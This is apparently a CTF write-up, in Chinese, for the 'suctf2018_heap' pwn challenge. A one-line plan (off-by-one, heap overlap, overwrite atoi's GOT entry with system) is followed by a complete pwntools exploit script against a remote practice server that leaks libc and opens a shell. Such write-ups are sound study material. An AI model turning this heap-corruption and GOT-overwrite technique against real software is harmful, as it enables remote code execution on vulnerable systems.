suctf2018_heap

suctf2018_heap

這道題會一次性申請2個相同大小的chunk做的時候有點邏輯混亂深深的懷疑本來是ubuntu16的環境…
思路 :
off by one打成堆重疊寫到指針段寫atoi爲system拿shell
exp:

from pwn import *
#p=process('./offbyone')
p=remote('node3.buuoj.cn',26238)
elf=ELF('./offbyone')
libc=elf.libc
def add(size,content):
    p.sendlineafter('edit','1')
    p.sendlineafter('len',str(size))
    p.sendafter('data',content)

def delete(idx):
    p.sendlineafter('edit','2')
    p.sendlineafter('id',str(idx))

def show(idx):
    p.sendlineafter('edit','3')
    p.sendlineafter('id',str(idx))

def edit(idx,content):
    p.sendlineafter('edit','4')
    p.sendlineafter('id',str(idx))
    p.sendafter('data',content)

add(0x88,'a'*0x88)
add(0x88,'\x11'*0x88)
add(0x88,'\x12'*0x88)
edit(0,'b'*0x88+'\xc1')
edit(2,'\x11'*0x20+p64(0)+p64(0x61))
delete(2)
delete(1)
add(0xb0,'\x52'*0x88+p64(0x91)+p64(0x6020C0-0x10))
add(0x88,'d'*0x20)
add(0x88,'\x11'*0x88)
edit(2,p64(0)*2+p64(elf.got['atoi']))
show(0)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['atoi']
system=libcbase+libc.sym['system']
edit(0,p64(system))
sleep(1)
p.sendline('sh')
#add(0x88,'/bin/sh\x00')
#show(2)
p.interactive()